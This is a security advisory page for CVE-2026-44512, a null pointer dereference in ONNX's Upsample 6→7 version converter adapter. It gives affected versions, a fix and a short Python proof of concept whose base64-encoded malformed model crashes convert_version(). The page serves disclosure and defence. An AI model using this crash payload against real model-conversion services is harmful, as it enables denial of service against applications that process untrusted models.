CVE-2026-44512: ONNX: Null Pointer Dereference in Upsample Version Converter Adapter (Zero Inputs)

Published Jul 7, 2026
·
Updated

Summary

Null pointer dereference (SIGSEGV) in Upsample67::adaptupsample67() (onnx/versionconverter/adapters/upsample67.h:31) when convertversion() processes a model with an Upsample node that has zero inputs. The adapter accesses node->inputs()[0]->sizes() without checking input count. 107-byte PoC crashes on Release build.

This is the same class of bug as the Cast adapter advisory (separate report) but in a different adapter, different file, and different operator.

Details

The Upsample 6→7 adapter validates attributes but not inputs: cpp // upsample67.h:20-33 void adaptupsample67(..., Node node) const { ONNXASSERTM( node->hasAttribute(widthscalesymbol) && node->hasAttribute(heightscalesymbol), "...") // Attribute check PASSES

auto widthscale = node->f(widthscalesymbol); auto heightscale = node->f(heightscalesymbol);

auto inputshape = node->inputs()[0]->sizes(); // ^^^^^^^^^^^^^^^^^^^^ // OOB when inputs().size() == 0 → SIGSEGV }

The PoC has an Upsample node at opset 6 with the required widthscale and heightscale attributes but zero inputs. The attribute assertions pass, then node->inputs()[0] on an empty ArrayRef: - Release builds (NDEBUG): bounds-check assertion compiled out → reads garbage pointer → SIGSEGV - Debug builds: assert(Index < Length) at arrayref.h:159 → SIGABRT

An Upsample node with zero inputs passes graphProtoToGraph() because the import code only resolves input names present in the protobuf.

PoC python import base64 import onnx from onnx import versionconverter

pocb64 = "CAI6YQo8EgFZIghVcHNhbXBsZSoVCgt3aWR0aF9zY2FsZRUAAABAoAEBKhYKDGhlaWdodF9zY2FsZRUAAABAoAEBEgR0ZXN0YhsKAVkSFgoUCAESEAoCCAEKAggBCgIIBAoCCARCBAoAEAY="

model = onnx.loadfromstring(base64.b64decode(pocb64))

CRASHES — Upsample67 adapter dereferences empty inputs array versionconverter.convertversion(model, 7) # SIGSEGV

107-byte PoC. Confirmed SIGSEGV on both onnx 1.21.0 (pip) and 1.22.0 (source build).

Impact

Any application that uses onnx.versionconverter.convertversion() on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-upgrade opset versions for compatibility. The crash is unrecoverable (SIGSEGV).

This vulnerability is part of a systemic pattern across multiple version converter adapters. A full audit of all ~45 adapters was performed as part of the fix; eight adapters were found with the same class of unguarded indexed access (cast98, softmax1213, softmax1312, upsample67, upsample910, groupnormalization2021, broadcastforwardcompatibility, upsample98) and all have been fixed in PR #7813.

Other sources

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. From 1.9.0 before 1.22.0, onnx.versionconverter.convertversion() can dereference a null pointer in Upsample67::adaptupsample67() in onnx/versionconverter/adapters/upsample67.h when processing an untrusted model with an Upsample node that has zero inputs, causing an unrecoverable denial of service. This issue is fixed in version 1.22.0.

MITRE

Affected Software

2 affected componentsFixes available
pip/onnx>=1.9.0<1.22.0
1.22.0
linuxfoundation Onnx>=1.9.0<1.22.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/onnx to a version that resolves this vulnerability.

    Fixed in 1.22.0
  2. Upgrade

    Upgrade onnx to a version that resolves this vulnerability.

    Fixed in 1.22.0
  3. Compensating control

    Do not run onnx.version_converter.convert_version() on untrusted ONNX models; only use it with trusted inputs to avoid the Upsample 6→7 adapter null pointer dereference when an Upsample node has zero inputs.

Event History

Jul 7, 2026
Advisory Published
via GitHub·01:02 PM
Data Sourced
via GitHub·01:02 PM
DescriptionSeverityWeaknessAffected Software
Jul 8, 2026
CVE Published
via MITRE·07:32 PM
Data Sourced
via MITRE·07:32 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:16 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-44512?

The severity of CVE-2026-44512 is medium with a CVSS score of 5.5.

2

How do I fix CVE-2026-44512?

To fix CVE-2026-44512, update to the latest version of ONNX that addresses this null pointer dereference vulnerability.

3

What type of vulnerability is identified in CVE-2026-44512?

CVE-2026-44512 identifies a null pointer dereference vulnerability that can lead to application crashes.

4

In which software is CVE-2026-44512 found?

CVE-2026-44512 is found in the ONNX software package installed via pip.

5

What impact does CVE-2026-44512 have on the system?

CVE-2026-44512 can cause a system crash due to a SIGSEGV error during model processing.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203